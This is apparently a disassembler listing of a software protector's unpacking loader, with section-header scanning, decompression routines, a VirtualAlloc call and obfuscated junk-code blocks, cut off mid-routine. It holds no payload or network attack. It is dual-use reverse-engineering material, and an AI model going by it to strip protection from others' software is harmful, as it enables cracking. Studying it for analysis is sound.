push 1 ; Code
call _exit_0
sub_4B45CC endp
; ---------------------------------------------------------------------------
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B45E9 proc near ; DATA XREF: sub_4B45FB+15Eo
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
and eax, 0FFFFh
mov dword_4F4494, eax
pop ebp
retn
sub_4B45E9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B45FB proc near ; CODE XREF: .text:loc_4B5DB9p
; sub_4B5E8E+79p
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
Src = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 5Ch
mov eax, dword_4ED3B0
xor eax, dword_4ED3FC
xor eax, dword_4ED3F0
and eax, 3
push eax
call sub_490060
add esp, 4
call sub_4B48AD
mov [ebp+var_4C], eax
cmp [ebp+var_4C], 0
jnz short loc_4B463D
mov dword_4F4370, 1
xor eax, eax
jmp loc_4B48A9
; ---------------------------------------------------------------------------
loc_4B463D: ; CODE XREF: sub_4B45FB+2Fj
mov ecx, [ebp+var_4C]
add ecx, 8
mov [ebp+Src], ecx
mov byte ptr [ebp+var_48], 0
cmp dword_4F4130, 1
jnz short loc_4B46AC
mov edx, dword_4F4138
movsx eax, byte ptr [edx]
cmp eax, 2Fh
jz short loc_4B466F
mov ecx, dword_4F4138
movsx edx, byte ptr [ecx]
cmp edx, 2Dh
jnz short loc_4B46AC
loc_4B466F: ; CODE XREF: sub_4B45FB+64j
push 1 ; MaxCount
push offset aS_8 ; "s"
mov eax, dword_4F4138
add eax, 1
push eax ; Str1
call __strnicmp
add esp, 0Ch
test eax, eax
jz short loc_4B46A8
push 1 ; MaxCount
push offset aP ; "p"
mov ecx, dword_4F4138
add ecx, 1
push ecx ; Str1
call __strnicmp
add esp, 0Ch
test eax, eax
jnz short loc_4B46AC
loc_4B46A8: ; CODE XREF: sub_4B45FB+8Ej
mov byte ptr [ebp+var_48], 1
loc_4B46AC: ; CODE XREF: sub_4B45FB+56j
; sub_4B45FB+72j ...
mov [ebp+var_50], 0
mov dl, byte ptr [ebp+var_48]
push edx ; int
lea eax, [ebp+var_50]
push eax ; int
mov ecx, [ebp+Src]
push ecx ; Src
call sub_4B4965
add esp, 0Ch
mov [ebp+Src], eax
cmp [ebp+Src], 0
jnz short loc_4B46D7
xor eax, eax
jmp loc_4B48A9
; ---------------------------------------------------------------------------
loc_4B46D7: ; CODE XREF: sub_4B45FB+D3j
mov edx, [ebp+Src]
push edx
call loc_4B4D00
add esp, 4
mov [ebp+Src], eax
cmp [ebp+Src], 0
jnz short loc_4B46F3
xor eax, eax
jmp loc_4B48A9
; ---------------------------------------------------------------------------
loc_4B46F3: ; CODE XREF: sub_4B45FB+EFj
push 0
push 1
mov eax, dword_4F4364
push eax
call dword_4F4368
test eax, eax
jnz short loc_4B4718
mov dword_4F4370, 5
xor eax, eax
jmp loc_4B48A9
; ---------------------------------------------------------------------------
loc_4B4718: ; CODE XREF: sub_4B45FB+10Aj
push offset aSetfunctionadd ; "SetFunctionAddresses"
mov ecx, dword_4F4364
push ecx
call sub_4B55B0
add esp, 8
mov [ebp+var_58], eax
lea edx, [ebp+var_C]
push edx
lea eax, [ebp+var_44]
push eax
lea ecx, [ebp+var_40]
push ecx
mov edx, dword_4ED414
xor edx, dword_4ED41C
xor edx, dword_4ED3FC
xor edx, dword_4ED420
push edx
push offset sub_4B6828
push offset sub_4B45E9
push offset sub_4B6BB7
push offset sub_490FB0
push offset sub_49034E
push offset sub_48FF4B
push offset sub_48FEF2
push offset sub_48FED8
push offset sub_48F7F0
mov eax, dword_4F4480
push eax
call [ebp+var_58]
add esp, 38h
mov ecx, [ebp+var_40]
mov [ebp+var_10], ecx
mov edx, [ebp+var_44]
mov dword_4F4158, edx
mov eax, [ebp+var_C]
mov dword_4F4154, eax
mov [ebp+var_8], 0
mov ecx, [ebp+var_48]
and ecx, 0FFh
test ecx, ecx
jz short loc_4B47C1
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_4B47C1: ; CODE XREF: sub_4B45FB+1BBj
xor eax, eax
mov al, byte_4F4488
test eax, eax
jz short loc_4B47DB
mov ecx, [ebp+var_8]
or ecx, 2
mov [ebp+var_8], ecx
call dword_4ED064 ; FreeConsole
loc_4B47DB: ; CODE XREF: sub_4B45FB+1CFj
xor edx, edx
mov dl, byte_4F4488
test edx, edx
jz short loc_4B47FE
cmp [ebp+var_50], 0
jz short loc_4B47FE
mov eax, [ebp+var_50]
push eax
call dword_4ED228 ; DestroyWindow
mov [ebp+var_50], 0
loc_4B47FE: ; CODE XREF: sub_4B45FB+1EAj
; sub_4B45FB+1F0j
mov [ebp+var_3C], offset dword_4F4370
mov [ebp+var_38], offset byte_4F4374
mov [ebp+var_34], offset dword_4ED3A8
mov ecx, [ebp+Src]
mov [ebp+var_30], ecx
mov edx, [ebp+var_4C]
mov [ebp+var_2C], edx
mov eax, dword_4F4484
mov [ebp+var_28], eax
lea ecx, [ebp+var_8]
mov [ebp+var_24], ecx
mov [ebp+var_20], offset byte_4F415C
cmp dword_4F4130, 2
jnz short loc_4B4848
mov edx, dword_4F414C
mov [ebp+var_5C], edx
jmp short loc_4B4853
; ---------------------------------------------------------------------------
loc_4B4848: ; CODE XREF: sub_4B45FB+240j
push 0
call dword_4ED050 ; GetModuleHandleA
mov [ebp+var_5C], eax
loc_4B4853: ; CODE XREF: sub_4B45FB+24Bj
mov eax, [ebp+var_5C]
mov [ebp+var_1C], eax
mov ecx, dword_4ED3A4
mov [ebp+var_18], ecx
mov [ebp+var_14], 0FFFFFFFFh
lea edx, [ebp+var_3C]
push edx
call [ebp+var_10]
add esp, 4
mov [ebp+var_4], eax
cmp [ebp+var_14], 0FFFFFFFFh
jz short loc_4B4886
mov eax, [ebp+var_14]
mov dword_4F473C, eax
jmp short loc_4B4896
; ---------------------------------------------------------------------------
loc_4B4886: ; CODE XREF: sub_4B45FB+27Fj
cmp [ebp+var_4], 1
jz short loc_4B4896
mov dword_4F473C, 1
loc_4B4896: ; CODE XREF: sub_4B45FB+289j
; sub_4B45FB+28Fj
cmp [ebp+var_50], 0
jz short loc_4B48A6
mov ecx, [ebp+var_50]
push ecx
call dword_4ED228 ; DestroyWindow
loc_4B48A6: ; CODE XREF: sub_4B45FB+29Fj
mov eax, [ebp+var_4]
loc_4B48A9: ; CODE XREF: sub_4B45FB+3Dj
; sub_4B45FB+D7j ...
mov esp, ebp
pop ebp
retn
sub_4B45FB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B48AD proc near ; CODE XREF: sub_4B45FB+23p
Buf1 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 20h
mov eax, dword_4F4480
mov [ebp+var_14], eax
cmp [ebp+var_14], 0
jnz short loc_4B48C8
xor eax, eax
jmp loc_4B4961
; ---------------------------------------------------------------------------
loc_4B48C8: ; CODE XREF: sub_4B48AD+12j
mov ecx, [ebp+var_14]
mov [ebp+var_10], ecx
mov edx, [ebp+var_10]
mov eax, [ebp+var_14]
add eax, [edx+3Ch]
mov [ebp+var_1C], eax
mov ecx, [ebp+var_1C]
add ecx, 0F8h
mov [ebp+var_C], ecx
mov edx, [ebp+var_C]
mov [ebp+var_18], edx
mov eax, [ebp+var_1C]
xor ecx, ecx
mov cx, [eax+6]
mov [ebp+var_4], ecx
mov [ebp+var_8], 0
jmp short loc_4B4913
; ---------------------------------------------------------------------------
loc_4B4901: ; CODE XREF: sub_4B48AD:loc_4B4933j
; sub_4B48AD:loc_4B495Dj
mov edx, [ebp+var_8]
add edx, 1
mov [ebp+var_8], edx
mov eax, [ebp+var_18]
add eax, 28h
mov [ebp+var_18], eax
loc_4B4913: ; CODE XREF: sub_4B48AD+52j
mov ecx, [ebp+var_8]
cmp ecx, [ebp+var_4]
jge short loc_4B495F
mov edx, [ebp+var_18]
mov eax, [edx+24h]
and eax, 40000000h
test eax, eax
jz short loc_4B4933
mov ecx, [ebp+var_18]
cmp dword ptr [ecx+10h], 8
jnb short loc_4B4935
loc_4B4933: ; CODE XREF: sub_4B48AD+7Bj
jmp short loc_4B4901
; ---------------------------------------------------------------------------
loc_4B4935: ; CODE XREF: sub_4B48AD+84j
mov edx, [ebp+var_18]
mov eax, [ebp+var_14]
add eax, [edx+0Ch]
mov [ebp+Buf1], eax
push 8 ; Size
push offset aPdata000 ; "PDATA000"
mov ecx, [ebp+Buf1]
push ecx ; Buf1
call _memcmp_0
add esp, 0Ch
test eax, eax
jnz short loc_4B495D
mov eax, [ebp+Buf1]
jmp short loc_4B4961
; ---------------------------------------------------------------------------
loc_4B495D: ; CODE XREF: sub_4B48AD+A9j
jmp short loc_4B4901
; ---------------------------------------------------------------------------
loc_4B495F: ; CODE XREF: sub_4B48AD+6Cj
xor eax, eax
loc_4B4961: ; CODE XREF: sub_4B48AD+16j
; sub_4B48AD+AEj
mov esp, ebp
pop ebp
retn
sub_4B48AD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4B4965(void *Src,int,int)
sub_4B4965 proc near ; CODE XREF: sub_4B45FB+C4p
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_118 = dword ptr -118h
var_114 = dword ptr -114h
var_110 = dword ptr -110h
var_10C = byte ptr -10Ch
var_10B = byte ptr -10Bh
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = byte ptr -4
Src = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 120h
push edi
mov eax, [ebp+arg_4]
mov dword ptr [eax], 0
mov ecx, [ebp+Src]
mov dl, [ecx]
mov [ebp+var_4], dl
mov eax, [ebp+Src]
add eax, 1
mov [ebp+Src], eax
movsx ecx, [ebp+var_4]
cmp ecx, 1
jnz short loc_4B49B3
mov edx, [ebp+arg_8]
and edx, 0FFh
test edx, edx
jnz short loc_4B49AE
push 0
call sub_4B6060
add esp, 4
mov ecx, [ebp+arg_4]
mov [ecx], eax
loc_4B49AE: ; CODE XREF: sub_4B4965+38j
jmp loc_4B4B40
; ---------------------------------------------------------------------------
loc_4B49B3: ; CODE XREF: sub_4B4965+2Bj
movsx edx, [ebp+var_4]
cmp edx, 2
jz short loc_4B49C9
movsx eax, [ebp+var_4]
cmp eax, 3
jnz loc_4B4B40
loc_4B49C9: ; CODE XREF: sub_4B4965+55j
mov ecx, [ebp+Src]
xor edx, edx
mov dx, [ecx]
mov dword_4F4494, edx
mov eax, [ebp+Src]
add eax, 2
mov [ebp+Src], eax
mov ecx, [ebp+Src]
mov edx, [ecx]
mov [ebp+var_114], edx
mov eax, [ebp+Src]
add eax, 4
mov [ebp+Src], eax
mov ecx, [ebp+var_114]
add ecx, 10000h
push ecx
call sub_4C85E1
add esp, 4
mov [ebp+var_11C], eax
mov edx, [ebp+var_11C]
mov [ebp+var_110], edx
mov eax, [ebp+var_110]
mov [ebp+var_8], eax
loc_4B4A24: ; CODE XREF: sub_4B4965+10Ej
mov ecx, 1
test ecx, ecx
jz short loc_4B4A75
mov edx, [ebp+var_114]
add edx, 10000h
mov [ebp+var_C], edx
push 0 ; int
lea eax, [ebp+var_C]
push eax ; int
mov ecx, [ebp+var_8]
push ecx ; int
mov edx, [ebp+Src]
push edx ; Src
call sub_4B4BB9
add esp, 10h
mov [ebp+Src], eax
cmp [ebp+Src], 0
jnz short loc_4B4A62
xor eax, eax
jmp loc_4B4BB4
; ---------------------------------------------------------------------------
loc_4B4A62: ; CODE XREF: sub_4B4965+F4j
cmp [ebp+var_C], 0
jnz short loc_4B4A6A
jmp short loc_4B4A75
; ---------------------------------------------------------------------------
loc_4B4A6A: ; CODE XREF: sub_4B4965+101j
mov eax, [ebp+var_8]
add eax, [ebp+var_C]
mov [ebp+var_8], eax
jmp short loc_4B4A24
; ---------------------------------------------------------------------------
loc_4B4A75: ; CODE XREF: sub_4B4965+C6j
; sub_4B4965+103j
mov cl, byte_4F4120
mov [ebp+var_10C], cl
mov ecx, 3Fh
xor eax, eax
lea edi, [ebp+var_10B]
rep stosd
stosw
stosb
push 100h
lea edx, [ebp+var_10C]
push edx
push offset aArmsplashoff ; "ARMSPLASHOFF"
call dword_4ED068 ; GetEnvironmentVariableA
test eax, eax
jnz short loc_4B4AB7
mov [ebp+var_10C], 0
jmp short loc_4B4ADE
; ---------------------------------------------------------------------------
loc_4B4AB7: ; CODE XREF: sub_4B4965+147j
movsx eax, [ebp+var_10C]
cmp eax, 30h
jz short loc_4B4ACE
movsx ecx, [ebp+var_10C]
test ecx, ecx
jnz short loc_4B4AD7
loc_4B4ACE: ; CODE XREF: sub_4B4965+15Cj
mov [ebp+var_10C], 0
jmp short loc_4B4ADE
; ---------------------------------------------------------------------------
loc_4B4AD7: ; CODE XREF: sub_4B4965+167j
mov [ebp+var_10C], 1
loc_4B4ADE: ; CODE XREF: sub_4B4965+150j
; sub_4B4965+170j
movsx edx, [ebp+var_10C]
test edx, edx
jnz short loc_4B4B25
mov eax, [ebp+arg_8]
and eax, 0FFh
test eax, eax
jnz short loc_4B4B25
cmp dword_4F4484, 8
jz short loc_4B4B25
cmp dword_4F4484, 9
jz short loc_4B4B25
push 0
movsx ecx, [ebp+var_4]
xor edx, edx
cmp ecx, 3
setz dl
push edx
mov eax, [ebp+var_110]
push eax
call sub_4B6BB7
add esp, 0Ch
loc_4B4B25: ; CODE XREF: sub_4B4965+182j
; sub_4B4965+18Ej ...
mov ecx, [ebp+var_110]
mov [ebp+var_120], ecx
mov edx, [ebp+var_120]
push edx
call sub_4C85D6
add esp, 4
loc_4B4B40: ; CODE XREF: sub_4B4965:loc_4B49AEj
; sub_4B4965+5Ej ...
mov eax, [ebp+Src]
movsx ecx, byte ptr [eax]
test ecx, ecx
jz short loc_4B4BA8
mov edx, [ebp+Src]
add edx, 1
mov [ebp+Src], edx
mov eax, [ebp+Src]
add eax, 4
mov [ebp+Src], eax
loc_4B4B5C: ; CODE XREF: sub_4B4965:loc_4B4BA4j
mov ecx, 1
test ecx, ecx
jz short loc_4B4BA6
mov edx, [ebp+Src]
mov eax, [edx]
mov [ebp+var_118], eax
mov ecx, [ebp+Src]
add ecx, 4
mov [ebp+Src], ecx
mov edx, [ebp+var_118]
and edx, 7FFFFFFFh
mov [ebp+var_118], edx
cmp [ebp+var_118], 0
jz short loc_4B4BA2
mov eax, [ebp+Src]
add eax, [ebp+var_118]
mov [ebp+Src], eax
jmp short loc_4B4BA4
; ---------------------------------------------------------------------------
loc_4B4BA2: ; CODE XREF: sub_4B4965+22Dj
jmp short loc_4B4BA6
; ---------------------------------------------------------------------------
loc_4B4BA4: ; CODE XREF: sub_4B4965+23Bj
jmp short loc_4B4B5C
; ---------------------------------------------------------------------------
loc_4B4BA6: ; CODE XREF: sub_4B4965+1FEj
; sub_4B4965:loc_4B4BA2j
jmp short loc_4B4B40
; ---------------------------------------------------------------------------
loc_4B4BA8: ; CODE XREF: sub_4B4965+1E3j
mov ecx, [ebp+Src]
add ecx, 1
mov [ebp+Src], ecx
mov eax, [ebp+Src]
loc_4B4BB4: ; CODE XREF: sub_4B4965+F8j
pop edi
mov esp, ebp
pop ebp
retn
sub_4B4965 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4B4BB9(void *Src,int,int,int)
sub_4B4BB9 proc near ; CODE XREF: sub_4B4965+E5p
; .text:004B4DCFp
var_14 = dword ptr -14h
var_10 = dword ptr -10h
Dst = dword ptr -0Ch
var_8 = dword ptr -8
Size = dword ptr -4
Src = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 14h
mov byte ptr [ebp+var_8], 0
mov eax, [ebp+Src]
mov ecx, [eax]
mov [ebp+Size], ecx
mov edx, [ebp+Src]
add edx, 4
mov [ebp+Src], edx
mov eax, [ebp+Size]
and eax, 80000000h
test eax, eax
jz short loc_4B4BF0
mov ecx, [ebp+Size]
and ecx, 7FFFFFFFh
mov [ebp+Size], ecx
mov byte ptr [ebp+var_8], 1
loc_4B4BF0: ; CODE XREF: sub_4B4BB9+25j
cmp [ebp+Size], 0
jz loc_4B4CF1
cmp [ebp+arg_4], 0
jz loc_4B4CE8
mov edx, [ebp+var_8]
and edx, 0FFh
test edx, edx
jnz loc_4B4CAD
mov eax, [ebp+Size]
add eax, 100h
push eax
call sub_4C85E1
add esp, 4
mov [ebp+var_10], eax
mov ecx, [ebp+var_10]
mov [ebp+Dst], ecx
mov edx, [ebp+Size]
push edx ; Size
mov eax, [ebp+Src]
push eax ; Src
mov ecx, [ebp+Dst]
push ecx ; Dst
call _memcpy_1
add esp, 0Ch
mov edx, [ebp+Src]
add edx, [ebp+Size]
mov [ebp+Src], edx
cmp [ebp+arg_C], 0
jz short loc_4B4C68
push 0
mov eax, [ebp+Size]
push eax
mov ecx, [ebp+Dst]
push ecx
mov edx, [ebp+arg_C]
push edx
call sub_490F38
add esp, 10h
loc_4B4C68: ; CODE XREF: sub_4B4BB9+97j
mov eax, [ebp+arg_8]
mov ecx, [eax]
push ecx ; int
mov edx, [ebp+Size]
push edx ; Size
mov eax, [ebp+arg_4]
push eax ; Dst
mov ecx, [ebp+Dst]
push ecx ; int
call sub_49034E
add esp, 10h
mov [ebp+Size], eax
cmp [ebp+Size], 0
jnz short loc_4B4C99
mov dword_4F4370, 0
xor eax, eax
jmp short loc_4B4CFC
; ---------------------------------------------------------------------------
loc_4B4C99: ; CODE XREF: sub_4B4BB9+D0j
mov edx, [ebp+Dst]
mov [ebp+var_14], edx
mov eax, [ebp+var_14]
push eax
call sub_4C85D6
add esp, 4
jmp short loc_4B4CE6
; ---------------------------------------------------------------------------
loc_4B4CAD: ; CODE XREF: sub_4B4BB9+56j
mov ecx, [ebp+Size]
loc_4B4CB0: ; CODE XREF: .text:loc_4B4D27j
push ecx ; Size
mov edx, [ebp+Src]
push edx ; Src
mov eax, [ebp+arg_4]
push eax ; Dst
call _memcpy_1
add esp, 0Ch
mov ecx, [ebp+Src]
add ecx, [ebp+Size]
mov [ebp+Src], ecx
cmp [ebp+arg_C], 0
jz short loc_4B4CE6
push 0
mov edx, [ebp+Size]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_C]
push ecx
call sub_490F38
add esp, 10h
loc_4B4CE6: ; CODE XREF: sub_4B4BB9+F2j
; sub_4B4BB9+115j
jmp short loc_4B4CF1
; ---------------------------------------------------------------------------
loc_4B4CE8: ; CODE XREF: sub_4B4BB9+45j
mov edx, [ebp+Src]
add edx, [ebp+Size]
mov [ebp+Src], edx
loc_4B4CF1: ; CODE XREF: sub_4B4BB9+3Bj
; sub_4B4BB9:loc_4B4CE6j
mov eax, [ebp+arg_8]
mov ecx, [ebp+Size]
mov [eax], ecx
mov eax, [ebp+Src]
loc_4B4CFC: ; CODE XREF: sub_4B4BB9+DEj
mov esp, ebp
pop ebp
retn
sub_4B4BB9 endp
; ---------------------------------------------------------------------------
loc_4B4D00: ; CODE XREF: sub_4B45FB+E0p
push ebp
mov ebp, esp
sub esp, 68h
push ebx
push esi
push edi
pusha
xor eax, eax
jnz short loc_4B4D10
jmp short loc_4B4D25
; ---------------------------------------------------------------------------
loc_4B4D10: ; CODE XREF: .text:004B4D0Cj
jmp short loc_4B4D45
; ---------------------------------------------------------------------------
dw 75C0h
; ---------------------------------------------------------------------------
sbb [edx+0Ch], bh
loc_4B4D17: ; CODE XREF: .text:loc_4B4D25j
jo short loc_4B4D27
jmp short near ptr loc_4B4D27+1
; ---------------------------------------------------------------------------
db 0E8h
dd 0F1790E72h, 790015FFh
db 9
; ---------------------------------------------------------------------------
loc_4B4D25: ; CODE XREF: .text:004B4D0Ej
jz short loc_4B4D17
loc_4B4D27: ; CODE XREF: .text:loc_4B4D17j
; .text:004B4D19j
jmp short loc_4B4CB0
; ---------------------------------------------------------------------------
fstp tbyte ptr [edx-10h]
mov al, ds:458B6133h
or [ebx-7B276F8h], cl
push ecx
bswap ecx
not ecx
push eax
not eax
mov eax, 6C65696Dh
xchg eax, ecx
loc_4B4D45: ; CODE XREF: .text:loc_4B4D10j
mov ecx, 0DEADC0DEh
xchg eax, ecx
not eax
pop eax
not ecx
pop ecx
pushf
pusha
xor ebx, ebx
jz short loc_4B4D5A
loc_4B4D57: ; CODE XREF: .text:004B4D78j
jmp short near ptr loc_4B4D7A+1
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4B4D5A: ; CODE XREF: .text:004B4D55j
xor ebx, ebx
jz short $+2
jmp short loc_4B4D6D
; ---------------------------------------------------------------------------
db 0B8h, 0EBh, 0Fh
; ---------------------------------------------------------------------------
loc_4B4D63: ; CODE XREF: .text:004B4D6Fj
mov ecx, 34F9C987h
nop
stc
jz short loc_4B4D71
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4B4D6D: ; CODE XREF: .text:004B4D5Ej
xor eax, eax
jz short loc_4B4D63
loc_4B4D71: ; CODE XREF: .text:004B4D6Aj
mov eax, 4840C987h
test eax, eax
jnz short loc_4B4D57
loc_4B4D7A: ; CODE XREF: .text:loc_4B4D57j
jmp near ptr 92B1EAE0h
; ---------------------------------------------------------------------------
xchg ax, dx
mov eax, eax
mov edx, [ebp+8]
add edx, 4
mov [ebp+8], edx
jo short loc_4B4D95
jl short loc_4B4D93
loc_4B4D90: ; CODE XREF: .text:loc_4B4D93j
; .text:loc_4B4D95j
jmp short loc_4B4D97
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_4B4D93: ; CODE XREF: .text:004B4D8Ej
jz short loc_4B4D90
loc_4B4D95: ; CODE XREF: .text:004B4D8Cj
jmp short loc_4B4D90
; ---------------------------------------------------------------------------
loc_4B4D97: ; CODE XREF: .text:loc_4B4D90j
mov eax, [ebp-8]
push eax
call sub_4C85E1
add esp, 4
mov [ebp-64h], eax
mov ecx, [ebp-64h]
mov [ebp-30h], ecx
mov edx, [ebp-30h]
mov [ebp-4], edx
loc_4B4DB2: ; CODE XREF: .text:004B4DF8j
mov eax, 1
test eax, eax
jz short loc_4B4DFA
mov ecx, [ebp-8]
mov [ebp-38h], ecx
push 0
lea edx, [ebp-38h]
push edx
mov eax, [ebp-4]
push eax
mov ecx, [ebp+8]
push ecx
call sub_4B4BB9
add esp, 10h
mov [ebp+8], eax
cmp dword ptr [ebp+8], 0
jnz short loc_4B4DE7
loc_4B4DE0: ; CODE XREF: .text:004B4E4Ej
xor eax, eax
jmp loc_4B528C
; ---------------------------------------------------------------------------
loc_4B4DE7: ; CODE XREF: .text:004B4DDEj
cmp dword ptr [ebp-38h], 0
jnz short loc_4B4DEF
jmp short loc_4B4DFA
; ---------------------------------------------------------------------------
loc_4B4DEF: ; CODE XREF: .text:004B4DEBj
mov edx, [ebp-4]
add edx, [ebp-38h]
mov [ebp-4], edx
jmp short loc_4B4DB2
; ---------------------------------------------------------------------------
loc_4B4DFA: ; CODE XREF: .text:004B4DB9j
; .text:004B4DEDj
mov eax, [ebp-30h]
mov [ebp-1Ch], eax
mov ecx, [ebp-1Ch]
mov edx, [ebp-30h]
add edx, [ecx+3Ch]
mov [ebp-34h], edx
mov eax, [ebp-34h]
add eax, 4
mov [ebp-2Ch], eax
mov ecx, [ebp-34h]
add ecx, 18h
mov [ebp-28h], ecx
mov edx, [ebp-34h]
add edx, 0F8h
mov [ebp-18h], edx
mov eax, [ebp-28h]
mov ecx, [eax+1Ch]
mov [ebp-24h], ecx
push eax
not eax
bswap eax
pop eax
jnb short $+2
pushf
pusha
jmp short loc_4B4E6A ; CODE XREF: .text:loc_4B4E6Aj
; ---------------------------------------------------------------------------
sal byte ptr [eax+0Eh], cl
loc_4B4E42: ; CODE XREF: .text:004B4E63j
jmp short loc_4B4E61
; ---------------------------------------------------------------------------
loc_4B4E44: ; CODE XREF: .text:loc_4B4E61j
xor ecx, ecx
loc_4B4E46: ; CODE XREF: .text:004B4E55j
jz short $+2
jmp short loc_4B4E5A
; ---------------------------------------------------------------------------
loc_4B4E4A: ; CODE XREF: .text:004B4E5Ej
stc
xor ecx, 3
jz short loc_4B4DE0
jmp short loc_4B4E57
; ---------------------------------------------------------------------------
db 0B9h
; ---------------------------------------------------------------------------
loc_4B4E53: ; CODE XREF: .text:loc_4B4E57j
jmp short loc_4B4E65
; ---------------------------------------------------------------------------
jz short loc_4B4E46
loc_4B4E57: ; CODE XREF: .text:004B4E50j
jnb short loc_4B4E53
; ---------------------------------------------------------------------------
db 0F2h
; ---------------------------------------------------------------------------
loc_4B4E5A: ; CODE XREF: .text:004B4E48j
sbb bl, bl
xor ebx, ebx
jmp short loc_4B4E4A
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_4B4E61: ; CODE XREF: .text:loc_4B4E42j
jmp short loc_4B4E44
; ---------------------------------------------------------------------------
jmp short loc_4B4E42
; ---------------------------------------------------------------------------
loc_4B4E65: ; CODE XREF: .text:loc_4B4E53j
repne sbb al, 0DBh
jmp short loc_4B4E6D
; ---------------------------------------------------------------------------
loc_4B4E6A: ; CODE XREF: .text:004B4E3Dj
jmp short near ptr loc_4B4E3D+1
; ---------------------------------------------------------------------------
db 0B8h
; ---------------------------------------------------------------------------
loc_4B4E6D: ; CODE XREF: .text:004B4E68j
popa
popf
bswap eax
not ecx
bswap eax
not ecx
mov edx, [ebp-28h]
mov eax, [edx+38h]
mov [ebp-10h], eax
push ecx
bswap ecx
not ecx
push eax
not eax
mov eax, 6C65696Dh
xchg eax, ecx
mov ecx, 0DEADC0DEh
xchg eax, ecx
not eax ; CODE XREF: .text:loc_4B4F0Cj
pop eax
not ecx
pop ecx
pushf
pusha
xor ebx, ebx
jz short loc_4B4EA3
loc_4B4EA0: ; CODE XREF: .text:004B4EC1j
jmp short near ptr loc_4B4EC3+1
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4B4EA3: ; CODE XREF: .text:004B4E9Ej
xor ebx, ebx
jz short $+2
jmp short loc_4B4EB6
; ---------------------------------------------------------------------------
db 0B8h, 0EBh, 0Fh
; ---------------------------------------------------------------------------
loc_4B4EAC: ; CODE XREF: .text:004B4EB8j
mov ecx, 34F9C987h
nop
stc
jz short loc_4B4EBA
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4B4EB6: ; CODE XREF: .text:004B4EA7j
xor eax, eax
jz short loc_4B4EAC
loc_4B4EBA: ; CODE XREF: .text:004B4EB3j
mov eax, 4840C987h
test eax, eax
jnz short loc_4B4EA0
loc_4B4EC3: ; CODE XREF: .text:loc_4B4EA0j
jmp near ptr 92B1EC29h
; ---------------------------------------------------------------------------
xchg ax, dx
mov eax, eax
push 4
push 1000h
mov ecx, [ebp-10h]
loc_4B4ED6: ; CODE XREF: .text:004B4F44j
push ecx
mov edx, [ebp-24h]
push edx
call dword_4ED070 ; VirtualAlloc
mov [ebp-20h], eax
cmp dword ptr [ebp-20h], 0
jnz loc_4B4F83
pusha
xor eax, eax
jnz short loc_4B4EF5
jmp short loc_4B4F0A
; ---------------------------------------------------------------------------
loc_4B4EF5: ; CODE XREF: .text:004B4EF1j
jmp short loc_4B4F2A
; ---------------------------------------------------------------------------
db 0C0h
dd 0C7A1875h
; ---------------------------------------------------------------------------
loc_4B4EFC: ; CODE XREF: .text:loc_4B4F0Aj
jo short loc_4B4F0C
jmp short near ptr loc_4B4F0C+1
; ---------------------------------------------------------------------------
dd 790E72E8h, 15FFF1h
; ---------------------------------------------------------------------------
jns short loc_4B4F13
loc_4B4F0A: ; CODE XREF: .text:004B4EF3j
jz short loc_4B4EFC
loc_4B4F0C: ; CODE XREF: .text:loc_4B4EFCj
; .text:004B4EFEj
jmp short near ptr loc_4B4E94+1
; ---------------------------------------------------------------------------
dw 7ADBh
db 0F0h, 0A0h, 33h
; ---------------------------------------------------------------------------
loc_4B4F13: ; CODE XREF: .text:004B4F08j
popa
mov eax, [ebp-28h]
cmp dword ptr [eax+5Ch], 5
jbe short loc_4B4F83
mov ecx, [ebp-28h]
cmp dword ptr [ecx+88h], 0
jz short loc_4B4F83
push eax
loc_4B4F2A: ; CODE XREF: .text:loc_4B4EF5j
not eax
bswap eax
pop eax
jnb short $+2
pushf
pusha
jmp short loc_4B4F60 ; CODE XREF: .text:loc_4B4F60j
; ---------------------------------------------------------------------------
sal byte ptr [eax+0Eh], cl
loc_4B4F38: ; CODE XREF: .text:004B4F59j
jmp short loc_4B4F57
; ---------------------------------------------------------------------------
loc_4B4F3A: ; CODE XREF: .text:loc_4B4F57j
xor ecx, ecx
loc_4B4F3C: ; CODE XREF: .text:004B4F4Bj
jz short $+2
jmp short loc_4B4F50
; ---------------------------------------------------------------------------
loc_4B4F40: ; CODE XREF: .text:004B4F54j
stc
xor ecx, 3
